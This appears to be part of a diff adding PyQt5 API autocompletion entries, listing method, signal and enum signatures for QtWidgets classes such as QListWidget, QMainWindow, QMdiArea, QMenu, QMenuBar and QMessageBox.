+QtWidgets.QListWidget.insertItem?4(int, QListWidgetItem) +QtWidgets.QListWidget.insertItem?4(int, QString) +QtWidgets.QListWidget.insertItems?4(int, QStringList) +QtWidgets.QListWidget.addItem?4(QListWidgetItem) +QtWidgets.QListWidget.addItem?4(QString) +QtWidgets.QListWidget.addItems?4(QStringList) +QtWidgets.QListWidget.takeItem?4(int) -> QListWidgetItem +QtWidgets.QListWidget.count?4() -> int +QtWidgets.QListWidget.currentItem?4() -> QListWidgetItem +QtWidgets.QListWidget.setCurrentItem?4(QListWidgetItem) +QtWidgets.QListWidget.setCurrentItem?4(QListWidgetItem, QItemSelectionModel.SelectionFlags) +QtWidgets.QListWidget.currentRow?4() -> int +QtWidgets.QListWidget.setCurrentRow?4(int) +QtWidgets.QListWidget.setCurrentRow?4(int, QItemSelectionModel.SelectionFlags) +QtWidgets.QListWidget.itemAt?4(QPoint) -> QListWidgetItem +QtWidgets.QListWidget.itemAt?4(int, int) -> QListWidgetItem +QtWidgets.QListWidget.itemWidget?4(QListWidgetItem) -> QWidget +QtWidgets.QListWidget.setItemWidget?4(QListWidgetItem, QWidget) +QtWidgets.QListWidget.visualItemRect?4(QListWidgetItem) -> QRect +QtWidgets.QListWidget.sortItems?4(Qt.SortOrder order=Qt.AscendingOrder) +QtWidgets.QListWidget.editItem?4(QListWidgetItem) +QtWidgets.QListWidget.openPersistentEditor?4(QListWidgetItem) +QtWidgets.QListWidget.closePersistentEditor?4(QListWidgetItem) +QtWidgets.QListWidget.selectedItems?4() -> unknown-type +QtWidgets.QListWidget.findItems?4(QString, Qt.MatchFlags) -> unknown-type +QtWidgets.QListWidget.clear?4() +QtWidgets.QListWidget.scrollToItem?4(QListWidgetItem, QAbstractItemView.ScrollHint hint=QAbstractItemView.EnsureVisible) +QtWidgets.QListWidget.itemPressed?4(QListWidgetItem) +QtWidgets.QListWidget.itemClicked?4(QListWidgetItem) +QtWidgets.QListWidget.itemDoubleClicked?4(QListWidgetItem) +QtWidgets.QListWidget.itemActivated?4(QListWidgetItem) +QtWidgets.QListWidget.itemEntered?4(QListWidgetItem) +QtWidgets.QListWidget.itemChanged?4(QListWidgetItem) +QtWidgets.QListWidget.currentItemChanged?4(QListWidgetItem, QListWidgetItem) +QtWidgets.QListWidget.currentTextChanged?4(QString) +QtWidgets.QListWidget.currentRowChanged?4(int) +QtWidgets.QListWidget.itemSelectionChanged?4() +QtWidgets.QListWidget.mimeTypes?4() -> QStringList +QtWidgets.QListWidget.mimeData?4(unknown-type) -> QMimeData +QtWidgets.QListWidget.dropMimeData?4(int, QMimeData, Qt.DropAction) -> bool +QtWidgets.QListWidget.supportedDropActions?4() -> Qt.DropActions +QtWidgets.QListWidget.items?4(QMimeData) -> unknown-type +QtWidgets.QListWidget.indexFromItem?4(QListWidgetItem) -> QModelIndex +QtWidgets.QListWidget.itemFromIndex?4(QModelIndex) -> QListWidgetItem +QtWidgets.QListWidget.event?4(QEvent) -> bool +QtWidgets.QListWidget.setSortingEnabled?4(bool) +QtWidgets.QListWidget.isSortingEnabled?4() -> bool +QtWidgets.QListWidget.dropEvent?4(QDropEvent) +QtWidgets.QListWidget.removeItemWidget?4(QListWidgetItem) +QtWidgets.QListWidget.setSelectionModel?4(QItemSelectionModel) +QtWidgets.QListWidget.isPersistentEditorOpen?4(QListWidgetItem) -> bool +QtWidgets.QMainWindow.DockOption?10 +QtWidgets.QMainWindow.DockOption.AnimatedDocks?10 +QtWidgets.QMainWindow.DockOption.AllowNestedDocks?10 +QtWidgets.QMainWindow.DockOption.AllowTabbedDocks?10 +QtWidgets.QMainWindow.DockOption.ForceTabbedDocks?10 +QtWidgets.QMainWindow.DockOption.VerticalTabs?10 +QtWidgets.QMainWindow.DockOption.GroupedDragging?10 +QtWidgets.QMainWindow?1(QWidget parent=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtWidgets.QMainWindow.__init__?1(self, QWidget parent=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtWidgets.QMainWindow.iconSize?4() -> QSize +QtWidgets.QMainWindow.setIconSize?4(QSize) +QtWidgets.QMainWindow.toolButtonStyle?4() -> Qt.ToolButtonStyle +QtWidgets.QMainWindow.setToolButtonStyle?4(Qt.ToolButtonStyle) +QtWidgets.QMainWindow.menuBar?4() -> QMenuBar +QtWidgets.QMainWindow.setMenuBar?4(QMenuBar) +QtWidgets.QMainWindow.statusBar?4() -> QStatusBar +QtWidgets.QMainWindow.setStatusBar?4(QStatusBar) +QtWidgets.QMainWindow.centralWidget?4() -> QWidget +QtWidgets.QMainWindow.setCentralWidget?4(QWidget) +QtWidgets.QMainWindow.setCorner?4(Qt.Corner, Qt.DockWidgetArea) +QtWidgets.QMainWindow.corner?4(Qt.Corner) -> Qt.DockWidgetArea +QtWidgets.QMainWindow.addToolBarBreak?4(Qt.ToolBarArea area=Qt.TopToolBarArea) +QtWidgets.QMainWindow.insertToolBarBreak?4(QToolBar) +QtWidgets.QMainWindow.addToolBar?4(Qt.ToolBarArea, QToolBar) +QtWidgets.QMainWindow.addToolBar?4(QToolBar) +QtWidgets.QMainWindow.addToolBar?4(QString) -> QToolBar +QtWidgets.QMainWindow.insertToolBar?4(QToolBar, QToolBar) +QtWidgets.QMainWindow.removeToolBar?4(QToolBar) +QtWidgets.QMainWindow.toolBarArea?4(QToolBar) -> Qt.ToolBarArea +QtWidgets.QMainWindow.addDockWidget?4(Qt.DockWidgetArea, QDockWidget) +QtWidgets.QMainWindow.addDockWidget?4(Qt.DockWidgetArea, QDockWidget, Qt.Orientation) +QtWidgets.QMainWindow.splitDockWidget?4(QDockWidget, QDockWidget, Qt.Orientation) +QtWidgets.QMainWindow.removeDockWidget?4(QDockWidget) +QtWidgets.QMainWindow.dockWidgetArea?4(QDockWidget) -> Qt.DockWidgetArea +QtWidgets.QMainWindow.saveState?4(int version=0) -> QByteArray +QtWidgets.QMainWindow.restoreState?4(QByteArray, int version=0) -> bool +QtWidgets.QMainWindow.createPopupMenu?4() -> QMenu +QtWidgets.QMainWindow.setAnimated?4(bool) +QtWidgets.QMainWindow.setDockNestingEnabled?4(bool) +QtWidgets.QMainWindow.iconSizeChanged?4(QSize) +QtWidgets.QMainWindow.toolButtonStyleChanged?4(Qt.ToolButtonStyle) +QtWidgets.QMainWindow.tabifiedDockWidgetActivated?4(QDockWidget) +QtWidgets.QMainWindow.contextMenuEvent?4(QContextMenuEvent) +QtWidgets.QMainWindow.event?4(QEvent) -> bool +QtWidgets.QMainWindow.isAnimated?4() -> bool +QtWidgets.QMainWindow.isDockNestingEnabled?4() -> bool +QtWidgets.QMainWindow.isSeparator?4(QPoint) -> bool +QtWidgets.QMainWindow.menuWidget?4() -> QWidget +QtWidgets.QMainWindow.setMenuWidget?4(QWidget) +QtWidgets.QMainWindow.tabifyDockWidget?4(QDockWidget, QDockWidget) +QtWidgets.QMainWindow.setDockOptions?4(QMainWindow.DockOptions) +QtWidgets.QMainWindow.dockOptions?4() -> QMainWindow.DockOptions +QtWidgets.QMainWindow.removeToolBarBreak?4(QToolBar) +QtWidgets.QMainWindow.toolBarBreak?4(QToolBar) -> bool +QtWidgets.QMainWindow.setUnifiedTitleAndToolBarOnMac?4(bool) +QtWidgets.QMainWindow.unifiedTitleAndToolBarOnMac?4() -> bool +QtWidgets.QMainWindow.restoreDockWidget?4(QDockWidget) -> bool +QtWidgets.QMainWindow.documentMode?4() -> bool +QtWidgets.QMainWindow.setDocumentMode?4(bool) +QtWidgets.QMainWindow.tabShape?4() -> QTabWidget.TabShape +QtWidgets.QMainWindow.setTabShape?4(QTabWidget.TabShape) +QtWidgets.QMainWindow.tabPosition?4(Qt.DockWidgetArea) -> QTabWidget.TabPosition +QtWidgets.QMainWindow.setTabPosition?4(Qt.DockWidgetAreas, QTabWidget.TabPosition) +QtWidgets.QMainWindow.tabifiedDockWidgets?4(QDockWidget) -> unknown-type +QtWidgets.QMainWindow.takeCentralWidget?4() -> QWidget +QtWidgets.QMainWindow.resizeDocks?4(unknown-type, unknown-type, Qt.Orientation) +QtWidgets.QMainWindow.DockOptions?1() +QtWidgets.QMainWindow.DockOptions.__init__?1(self) +QtWidgets.QMainWindow.DockOptions?1(int) +QtWidgets.QMainWindow.DockOptions.__init__?1(self, int) +QtWidgets.QMainWindow.DockOptions?1(QMainWindow.DockOptions) +QtWidgets.QMainWindow.DockOptions.__init__?1(self, QMainWindow.DockOptions) +QtWidgets.QMdiArea.WindowOrder?10 +QtWidgets.QMdiArea.WindowOrder.CreationOrder?10 +QtWidgets.QMdiArea.WindowOrder.StackingOrder?10 +QtWidgets.QMdiArea.WindowOrder.ActivationHistoryOrder?10 +QtWidgets.QMdiArea.ViewMode?10 +QtWidgets.QMdiArea.ViewMode.SubWindowView?10 +QtWidgets.QMdiArea.ViewMode.TabbedView?10 +QtWidgets.QMdiArea.AreaOption?10 +QtWidgets.QMdiArea.AreaOption.DontMaximizeSubWindowOnActivation?10 +QtWidgets.QMdiArea?1(QWidget parent=None) +QtWidgets.QMdiArea.__init__?1(self, QWidget parent=None) +QtWidgets.QMdiArea.sizeHint?4() -> QSize +QtWidgets.QMdiArea.minimumSizeHint?4() -> QSize +QtWidgets.QMdiArea.activeSubWindow?4() -> QMdiSubWindow +QtWidgets.QMdiArea.addSubWindow?4(QWidget, Qt.WindowFlags flags=Qt.WindowFlags()) -> QMdiSubWindow +QtWidgets.QMdiArea.subWindowList?4(QMdiArea.WindowOrder order=QMdiArea.CreationOrder) -> unknown-type +QtWidgets.QMdiArea.currentSubWindow?4() -> QMdiSubWindow +QtWidgets.QMdiArea.removeSubWindow?4(QWidget) +QtWidgets.QMdiArea.background?4() -> QBrush +QtWidgets.QMdiArea.setBackground?4(QBrush) +QtWidgets.QMdiArea.setOption?4(QMdiArea.AreaOption, bool on=True) +QtWidgets.QMdiArea.testOption?4(QMdiArea.AreaOption) -> bool +QtWidgets.QMdiArea.subWindowActivated?4(QMdiSubWindow) +QtWidgets.QMdiArea.setActiveSubWindow?4(QMdiSubWindow) +QtWidgets.QMdiArea.tileSubWindows?4() +QtWidgets.QMdiArea.cascadeSubWindows?4() +QtWidgets.QMdiArea.closeActiveSubWindow?4() +QtWidgets.QMdiArea.closeAllSubWindows?4() +QtWidgets.QMdiArea.activateNextSubWindow?4() +QtWidgets.QMdiArea.activatePreviousSubWindow?4() +QtWidgets.QMdiArea.setupViewport?4(QWidget) +QtWidgets.QMdiArea.event?4(QEvent) -> bool +QtWidgets.QMdiArea.eventFilter?4(QObject, QEvent) -> bool +QtWidgets.QMdiArea.paintEvent?4(QPaintEvent) +QtWidgets.QMdiArea.childEvent?4(QChildEvent) +QtWidgets.QMdiArea.resizeEvent?4(QResizeEvent) +QtWidgets.QMdiArea.timerEvent?4(QTimerEvent) +QtWidgets.QMdiArea.showEvent?4(QShowEvent) +QtWidgets.QMdiArea.viewportEvent?4(QEvent) -> bool +QtWidgets.QMdiArea.scrollContentsBy?4(int, int) +QtWidgets.QMdiArea.activationOrder?4() -> QMdiArea.WindowOrder +QtWidgets.QMdiArea.setActivationOrder?4(QMdiArea.WindowOrder) +QtWidgets.QMdiArea.setViewMode?4(QMdiArea.ViewMode) +QtWidgets.QMdiArea.viewMode?4() -> QMdiArea.ViewMode +QtWidgets.QMdiArea.setTabShape?4(QTabWidget.TabShape) +QtWidgets.QMdiArea.tabShape?4() -> QTabWidget.TabShape +QtWidgets.QMdiArea.setTabPosition?4(QTabWidget.TabPosition) +QtWidgets.QMdiArea.tabPosition?4() -> QTabWidget.TabPosition +QtWidgets.QMdiArea.documentMode?4() -> bool +QtWidgets.QMdiArea.setDocumentMode?4(bool) +QtWidgets.QMdiArea.setTabsClosable?4(bool) +QtWidgets.QMdiArea.tabsClosable?4() -> bool +QtWidgets.QMdiArea.setTabsMovable?4(bool) +QtWidgets.QMdiArea.tabsMovable?4() -> bool +QtWidgets.QMdiArea.AreaOptions?1() +QtWidgets.QMdiArea.AreaOptions.__init__?1(self) +QtWidgets.QMdiArea.AreaOptions?1(int) +QtWidgets.QMdiArea.AreaOptions.__init__?1(self, int) +QtWidgets.QMdiArea.AreaOptions?1(QMdiArea.AreaOptions) +QtWidgets.QMdiArea.AreaOptions.__init__?1(self, QMdiArea.AreaOptions) +QtWidgets.QMdiSubWindow.SubWindowOption?10 +QtWidgets.QMdiSubWindow.SubWindowOption.RubberBandResize?10 +QtWidgets.QMdiSubWindow.SubWindowOption.RubberBandMove?10 +QtWidgets.QMdiSubWindow?1(QWidget parent=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtWidgets.QMdiSubWindow.__init__?1(self, QWidget parent=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtWidgets.QMdiSubWindow.sizeHint?4() -> QSize +QtWidgets.QMdiSubWindow.minimumSizeHint?4() -> QSize +QtWidgets.QMdiSubWindow.setWidget?4(QWidget) +QtWidgets.QMdiSubWindow.widget?4() -> QWidget +QtWidgets.QMdiSubWindow.isShaded?4() -> bool +QtWidgets.QMdiSubWindow.setOption?4(QMdiSubWindow.SubWindowOption, bool on=True) +QtWidgets.QMdiSubWindow.testOption?4(QMdiSubWindow.SubWindowOption) -> bool +QtWidgets.QMdiSubWindow.setKeyboardSingleStep?4(int) +QtWidgets.QMdiSubWindow.keyboardSingleStep?4() -> int +QtWidgets.QMdiSubWindow.setKeyboardPageStep?4(int) +QtWidgets.QMdiSubWindow.keyboardPageStep?4() -> int +QtWidgets.QMdiSubWindow.setSystemMenu?4(QMenu) +QtWidgets.QMdiSubWindow.systemMenu?4() -> QMenu +QtWidgets.QMdiSubWindow.mdiArea?4() -> QMdiArea +QtWidgets.QMdiSubWindow.windowStateChanged?4(Qt.WindowStates, Qt.WindowStates) +QtWidgets.QMdiSubWindow.aboutToActivate?4() +QtWidgets.QMdiSubWindow.showSystemMenu?4() +QtWidgets.QMdiSubWindow.showShaded?4() +QtWidgets.QMdiSubWindow.eventFilter?4(QObject, QEvent) -> bool +QtWidgets.QMdiSubWindow.event?4(QEvent) -> bool +QtWidgets.QMdiSubWindow.showEvent?4(QShowEvent) +QtWidgets.QMdiSubWindow.hideEvent?4(QHideEvent) +QtWidgets.QMdiSubWindow.changeEvent?4(QEvent) +QtWidgets.QMdiSubWindow.closeEvent?4(QCloseEvent) +QtWidgets.QMdiSubWindow.leaveEvent?4(QEvent) +QtWidgets.QMdiSubWindow.resizeEvent?4(QResizeEvent) +QtWidgets.QMdiSubWindow.timerEvent?4(QTimerEvent) +QtWidgets.QMdiSubWindow.moveEvent?4(QMoveEvent) +QtWidgets.QMdiSubWindow.paintEvent?4(QPaintEvent) +QtWidgets.QMdiSubWindow.mousePressEvent?4(QMouseEvent) +QtWidgets.QMdiSubWindow.mouseDoubleClickEvent?4(QMouseEvent) +QtWidgets.QMdiSubWindow.mouseReleaseEvent?4(QMouseEvent) +QtWidgets.QMdiSubWindow.mouseMoveEvent?4(QMouseEvent) +QtWidgets.QMdiSubWindow.keyPressEvent?4(QKeyEvent) +QtWidgets.QMdiSubWindow.contextMenuEvent?4(QContextMenuEvent) +QtWidgets.QMdiSubWindow.focusInEvent?4(QFocusEvent) +QtWidgets.QMdiSubWindow.focusOutEvent?4(QFocusEvent) +QtWidgets.QMdiSubWindow.childEvent?4(QChildEvent) +QtWidgets.QMdiSubWindow.SubWindowOptions?1() +QtWidgets.QMdiSubWindow.SubWindowOptions.__init__?1(self) +QtWidgets.QMdiSubWindow.SubWindowOptions?1(int) +QtWidgets.QMdiSubWindow.SubWindowOptions.__init__?1(self, int) +QtWidgets.QMdiSubWindow.SubWindowOptions?1(QMdiSubWindow.SubWindowOptions) +QtWidgets.QMdiSubWindow.SubWindowOptions.__init__?1(self, QMdiSubWindow.SubWindowOptions) +QtWidgets.QMenu?1(QWidget parent=None) +QtWidgets.QMenu.__init__?1(self, QWidget parent=None) +QtWidgets.QMenu?1(QString, QWidget parent=None) +QtWidgets.QMenu.__init__?1(self, QString, QWidget parent=None) +QtWidgets.QMenu.addAction?4(QAction) +QtWidgets.QMenu.addAction?4(QString) -> QAction +QtWidgets.QMenu.addAction?4(QIcon, QString) -> QAction +QtWidgets.QMenu.addAction?4(QString, object, QKeySequence shortcut=0) -> QAction +QtWidgets.QMenu.addAction?4(QIcon, QString, object, QKeySequence shortcut=0) -> QAction +QtWidgets.QMenu.addMenu?4(QMenu) -> QAction +QtWidgets.QMenu.addMenu?4(QString) -> QMenu +QtWidgets.QMenu.addMenu?4(QIcon, QString) -> QMenu +QtWidgets.QMenu.addSeparator?4() -> QAction +QtWidgets.QMenu.insertMenu?4(QAction, QMenu) -> QAction +QtWidgets.QMenu.insertSeparator?4(QAction) -> QAction +QtWidgets.QMenu.clear?4() +QtWidgets.QMenu.setTearOffEnabled?4(bool) +QtWidgets.QMenu.isTearOffEnabled?4() -> bool +QtWidgets.QMenu.isTearOffMenuVisible?4() -> bool +QtWidgets.QMenu.hideTearOffMenu?4() +QtWidgets.QMenu.setDefaultAction?4(QAction) +QtWidgets.QMenu.defaultAction?4() -> QAction +QtWidgets.QMenu.setActiveAction?4(QAction) +QtWidgets.QMenu.activeAction?4() -> QAction +QtWidgets.QMenu.popup?4(QPoint, QAction action=None) +QtWidgets.QMenu.exec_?4() -> QAction +QtWidgets.QMenu.exec?4() -> QAction +QtWidgets.QMenu.exec_?4(QPoint, QAction action=None) -> QAction +QtWidgets.QMenu.exec?4(QPoint, QAction action=None) -> QAction +QtWidgets.QMenu.exec_?4(unknown-type, QPoint, QAction at=None, QWidget parent=None) -> QAction +QtWidgets.QMenu.exec?4(unknown-type, QPoint, QAction at=None, QWidget parent=None) -> QAction +QtWidgets.QMenu.sizeHint?4() -> QSize +QtWidgets.QMenu.actionGeometry?4(QAction) -> QRect +QtWidgets.QMenu.actionAt?4(QPoint) -> QAction +QtWidgets.QMenu.menuAction?4() -> QAction +QtWidgets.QMenu.title?4() -> QString +QtWidgets.QMenu.setTitle?4(QString) +QtWidgets.QMenu.icon?4() -> QIcon +QtWidgets.QMenu.setIcon?4(QIcon) +QtWidgets.QMenu.setNoReplayFor?4(QWidget) +QtWidgets.QMenu.aboutToHide?4() +QtWidgets.QMenu.aboutToShow?4() +QtWidgets.QMenu.hovered?4(QAction) +QtWidgets.QMenu.triggered?4(QAction) +QtWidgets.QMenu.columnCount?4() -> int +QtWidgets.QMenu.initStyleOption?4(QStyleOptionMenuItem, QAction) +QtWidgets.QMenu.changeEvent?4(QEvent) +QtWidgets.QMenu.keyPressEvent?4(QKeyEvent) +QtWidgets.QMenu.mouseReleaseEvent?4(QMouseEvent) +QtWidgets.QMenu.mousePressEvent?4(QMouseEvent) +QtWidgets.QMenu.mouseMoveEvent?4(QMouseEvent) +QtWidgets.QMenu.wheelEvent?4(QWheelEvent) +QtWidgets.QMenu.enterEvent?4(QEvent) +QtWidgets.QMenu.leaveEvent?4(QEvent) +QtWidgets.QMenu.hideEvent?4(QHideEvent) +QtWidgets.QMenu.paintEvent?4(QPaintEvent) +QtWidgets.QMenu.actionEvent?4(QActionEvent) +QtWidgets.QMenu.timerEvent?4(QTimerEvent) +QtWidgets.QMenu.event?4(QEvent) -> bool +QtWidgets.QMenu.focusNextPrevChild?4(bool) -> bool +QtWidgets.QMenu.isEmpty?4() -> bool +QtWidgets.QMenu.separatorsCollapsible?4() -> bool +QtWidgets.QMenu.setSeparatorsCollapsible?4(bool) +QtWidgets.QMenu.addSection?4(QString) -> QAction +QtWidgets.QMenu.addSection?4(QIcon, QString) -> QAction +QtWidgets.QMenu.insertSection?4(QAction, QString) -> QAction +QtWidgets.QMenu.insertSection?4(QAction, QIcon, QString) -> QAction +QtWidgets.QMenu.toolTipsVisible?4() -> bool +QtWidgets.QMenu.setToolTipsVisible?4(bool) +QtWidgets.QMenu.showTearOffMenu?4() +QtWidgets.QMenu.showTearOffMenu?4(QPoint) +QtWidgets.QMenuBar?1(QWidget parent=None) +QtWidgets.QMenuBar.__init__?1(self, QWidget parent=None) +QtWidgets.QMenuBar.addAction?4(QAction) +QtWidgets.QMenuBar.addAction?4(QString) -> QAction +QtWidgets.QMenuBar.addAction?4(QString, object) -> QAction +QtWidgets.QMenuBar.addMenu?4(QMenu) -> QAction +QtWidgets.QMenuBar.addMenu?4(QString) -> QMenu +QtWidgets.QMenuBar.addMenu?4(QIcon, QString) -> QMenu +QtWidgets.QMenuBar.addSeparator?4() -> QAction +QtWidgets.QMenuBar.insertMenu?4(QAction, QMenu) -> QAction +QtWidgets.QMenuBar.insertSeparator?4(QAction) -> QAction +QtWidgets.QMenuBar.clear?4() +QtWidgets.QMenuBar.activeAction?4() -> QAction +QtWidgets.QMenuBar.setActiveAction?4(QAction) +QtWidgets.QMenuBar.setDefaultUp?4(bool) +QtWidgets.QMenuBar.isDefaultUp?4() -> bool +QtWidgets.QMenuBar.sizeHint?4() -> QSize +QtWidgets.QMenuBar.minimumSizeHint?4() -> QSize +QtWidgets.QMenuBar.heightForWidth?4(int) -> int +QtWidgets.QMenuBar.actionGeometry?4(QAction) -> QRect +QtWidgets.QMenuBar.actionAt?4(QPoint) -> QAction +QtWidgets.QMenuBar.setCornerWidget?4(QWidget, Qt.Corner corner=Qt.TopRightCorner) +QtWidgets.QMenuBar.cornerWidget?4(Qt.Corner corner=Qt.TopRightCorner) -> QWidget +QtWidgets.QMenuBar.setVisible?4(bool) +QtWidgets.QMenuBar.triggered?4(QAction) +QtWidgets.QMenuBar.hovered?4(QAction) +QtWidgets.QMenuBar.initStyleOption?4(QStyleOptionMenuItem, QAction) +QtWidgets.QMenuBar.changeEvent?4(QEvent) +QtWidgets.QMenuBar.keyPressEvent?4(QKeyEvent) +QtWidgets.QMenuBar.mouseReleaseEvent?4(QMouseEvent) +QtWidgets.QMenuBar.mousePressEvent?4(QMouseEvent) +QtWidgets.QMenuBar.mouseMoveEvent?4(QMouseEvent) +QtWidgets.QMenuBar.leaveEvent?4(QEvent) +QtWidgets.QMenuBar.paintEvent?4(QPaintEvent) +QtWidgets.QMenuBar.resizeEvent?4(QResizeEvent) +QtWidgets.QMenuBar.actionEvent?4(QActionEvent) +QtWidgets.QMenuBar.focusOutEvent?4(QFocusEvent) +QtWidgets.QMenuBar.focusInEvent?4(QFocusEvent) +QtWidgets.QMenuBar.eventFilter?4(QObject, QEvent) -> bool +QtWidgets.QMenuBar.event?4(QEvent) -> bool +QtWidgets.QMenuBar.timerEvent?4(QTimerEvent) +QtWidgets.QMenuBar.isNativeMenuBar?4() -> bool +QtWidgets.QMenuBar.setNativeMenuBar?4(bool) +QtWidgets.QMessageBox.StandardButton?10 +QtWidgets.QMessageBox.StandardButton.NoButton?10 +QtWidgets.QMessageBox.StandardButton.Ok?10 +QtWidgets.QMessageBox.StandardButton.Save?10 +QtWidgets.QMessageBox.StandardButton.SaveAll?10 +QtWidgets.QMessageBox.StandardButton.Open?10 +QtWidgets.QMessageBox.StandardButton.Yes?10 +QtWidgets.QMessageBox.StandardButton.YesToAll?10 +QtWidgets.QMessageBox.StandardButton.No?10 +QtWidgets.QMessageBox.StandardButton.NoToAll?10 +QtWidgets.QMessageBox.StandardButton.Abort?10 +QtWidgets.QMessageBox.StandardButton.Retry?10 +QtWidgets.QMessageBox.StandardButton.Ignore?10 +QtWidgets.QMessageBox.StandardButton.Close?10 +QtWidgets.QMessageBox.StandardButton.Cancel?10 +QtWidgets.QMessageBox.StandardButton.Discard?10 +QtWidgets.QMessageBox.StandardButton.Help?10 +QtWidgets.QMessageBox.StandardButton.Apply?10 +QtWidgets.QMessageBox.StandardButton.Reset?10 +QtWidgets.QMessageBox.StandardButton.RestoreDefaults?10 +QtWidgets.QMessageBox.StandardButton.FirstButton?10 +QtWidgets.QMessageBox.StandardButton.LastButton?10 +QtWidgets.QMessageBox.StandardButton.YesAll?10 +QtWidgets.QMessageBox.StandardButton.NoAll?10 +QtWidgets.QMessageBox.StandardButton.Default?10 +QtWidgets.QMessageBox.StandardButton.Escape?10 +QtWidgets.QMessageBox.StandardButton.FlagMask?10 +QtWidgets.QMessageBox.StandardButton.ButtonMask?10 +QtWidgets.QMessageBox.Icon?10 +QtWidgets.QMessageBox.Icon.NoIcon?10 +QtWidgets.QMessageBox.Icon.Information?10 +QtWidgets.QMessageBox.Icon.Warning?10 +QtWidgets.QMessageBox.Icon.Critical?10 +QtWidgets.QMessageBox.Icon.Question?10 +QtWidgets.QMessageBox.ButtonRole?10 +QtWidgets.QMessageBox.ButtonRole.InvalidRole?10 +QtWidgets.QMessageBox.ButtonRole.AcceptRole?10 +QtWidgets.QMessageBox.ButtonRole.RejectRole?10 +QtWidgets.QMessageBox.ButtonRole.DestructiveRole?10 +QtWidgets.QMessageBox.ButtonRole.ActionRole?10 +QtWidgets.QMessageBox.ButtonRole.HelpRole?10 +QtWidgets.QMessageBox.ButtonRole.YesRole?10 +QtWidgets.QMessageBox.ButtonRole.NoRole?10 +QtWidgets.QMessageBox.ButtonRole.ResetRole?10 +QtWidgets.QMessageBox.ButtonRole.ApplyRole?10 +QtWidgets.QMessageBox?1(QWidget parent=None) +QtWidgets.QMessageBox.__init__?1(self, QWidget parent=None) +QtWidgets.QMessageBox?1(QMessageBox.Icon, QString, QString, QMessageBox.StandardButtons buttons=QMessageBox.NoButton, QWidget parent=None, Qt.WindowFlags flags=Qt.Dialog|Qt.MSWindowsFixedSizeDialogHint) +QtWidgets.QMessageBox.__init__?1(self, QMessageBox.Icon, QString, QString, QMessageBox.StandardButtons buttons=QMessageBox.NoButton, QWidget parent=None, Qt.WindowFlags flags=Qt.Dialog|Qt.MSWindowsFixedSizeDialogHint) +QtWidgets.QMessageBox.text?4() -> QString +QtWidgets.QMessageBox.setText?4(QString) +QtWidgets.QMessageBox.icon?4() -> QMessageBox.Icon +QtWidgets.QMessageBox.setIcon?4(QMessageBox.Icon) +QtWidgets.QMessageBox.iconPixmap?4() -> QPixmap +QtWidgets.QMessageBox.setIconPixmap?4(QPixmap) +QtWidgets.QMessageBox.textFormat?4() -> Qt.TextFormat +QtWidgets.QMessageBox.setTextFormat?4(Qt.TextFormat) +QtWidgets.QMessageBox.information?4(QWidget, QString, QString, QMessageBox.StandardButtons buttons=QMessageBox.Ok, QMessageBox.StandardButton defaultButton=QMessageBox.NoButton) -> QMessageBox.StandardButton +QtWidgets.QMessageBox.question?4(QWidget, QString, QString, QMessageBox.StandardButtons buttons=QMessageBox.StandardButtons(QMessageBox.Yes|QMessageBox.No), QMessageBox.StandardButton defaultButton=QMessageBox.NoButton) -> QMessageBox.StandardButton +QtWidgets.QMessageBox.warning?4(QWidget, QString, QString, QMessageBox.StandardButtons buttons=QMessageBox.Ok, QMessageBox.StandardButton defaultButton=QMessageBox.NoButton) -> QMessageBox.StandardButton +QtWidgets.QMessageBox.critical?4(QWidget, QString, QString, QMessageBox.StandardButtons buttons=QMessageBox.Ok, QMessageBox.StandardButton defaultButton=QMessageBox.NoButton) -> QMessageBox.StandardButton +QtWidgets.QMessageBox.about?4(QWidget, QString, QString) +QtWidgets.QMessageBox.aboutQt?4(QWidget, QString title='') +QtWidgets.QMessageBox.standardIcon?4(QMessageBox.Icon) -> QPixmap +QtWidgets.QMessageBox.event?4(QEvent) -> bool +QtWidgets.QMessageBox.resizeEvent?4(QResizeEvent) +QtWidgets.QMessageBox.showEvent?4(QShowEvent) +QtWidgets.QMessageBox.closeEvent?4(QCloseEvent) +QtWidgets.QMessageBox.keyPressEvent?4(QKeyEvent) +QtWidgets.QMessageBox.changeEvent?4(QEvent) +QtWidgets.QMessageBox.addButton?4(QAbstractButton, QMessageBox.ButtonRole) +QtWidgets.QMessageBox.addButton?4(QString, QMessageBox.ButtonRole) -> QPushButton +QtWidgets.QMessageBox.addButton?4(QMessageBox.StandardButton) -> QPushButton +QtWidgets.QMessageBox.removeButton?4(QAbstractButton) +QtWidgets.QMessageBox.setStandardButtons?4(QMessageBox.StandardButtons) +QtWidgets.QMessageBox.standardButtons?4() -> QMessageBox.StandardButtons +QtWidgets.QMessageBox.standardButton?4(QAbstractButton) -> QMessageBox.StandardButton +QtWidgets.QMessageBox.button?4(QMessageBox.StandardButton) -> QAbstractButton +QtWidgets.QMessageBox.defaultButton?4() -> QPushButton +QtWidgets.QMessageBox.setDefaultButton?4(QPushButton) +QtWidgets.QMessageBox.setDefaultButton?4(QMessageBox.StandardButton) +QtWidgets.QMessageBox.escapeButton?4() -> QAbstractButton +QtWidgets.QMessageBox.setEscapeButton?4(QAbstractButton) +QtWidgets.QMessageBox.setEscapeButton?4(QMessageBox.StandardButton) +QtWidgets.QMessageBox.clickedButton?4() -> QAbstractButton +QtWidgets.QMessageBox.informativeText?4() -> QString +QtWidgets.QMessageBox.setInformativeText?4(QString) +QtWidgets.QMessageBox.detailedText?4() -> QString +QtWidgets.QMessageBox.setDetailedText?4(QString) +QtWidgets.QMessageBox.setWindowTitle?4(QString) +QtWidgets.QMessageBox.setWindowModality?4(Qt.WindowModality) +QtWidgets.QMessageBox.open?4() +QtWidgets.QMessageBox.open?4(object) +QtWidgets.QMessageBox.buttons?4() -> unknown-type +QtWidgets.QMessageBox.buttonRole?4(QAbstractButton) -> QMessageBox.ButtonRole +QtWidgets.QMessageBox.buttonClicked?4(QAbstractButton) +QtWidgets.QMessageBox.setTextInteractionFlags?4(Qt.TextInteractionFlags) +QtWidgets.QMessageBox.textInteractionFlags?4() -> Qt.TextInteractionFlags +QtWidgets.QMessageBox.setCheckBox?4(QCheckBox) +QtWidgets.QMessageBox.checkBox?4() -> QCheckBox +QtWidgets.QMessageBox.StandardButtons?1() +QtWidgets.QMessageBox.StandardButtons.__init__?1(self) +QtWidgets.QMessageBox.StandardButtons?1(int) +QtWidgets.QMessageBox.StandardButtons.__init__?1(self, int) 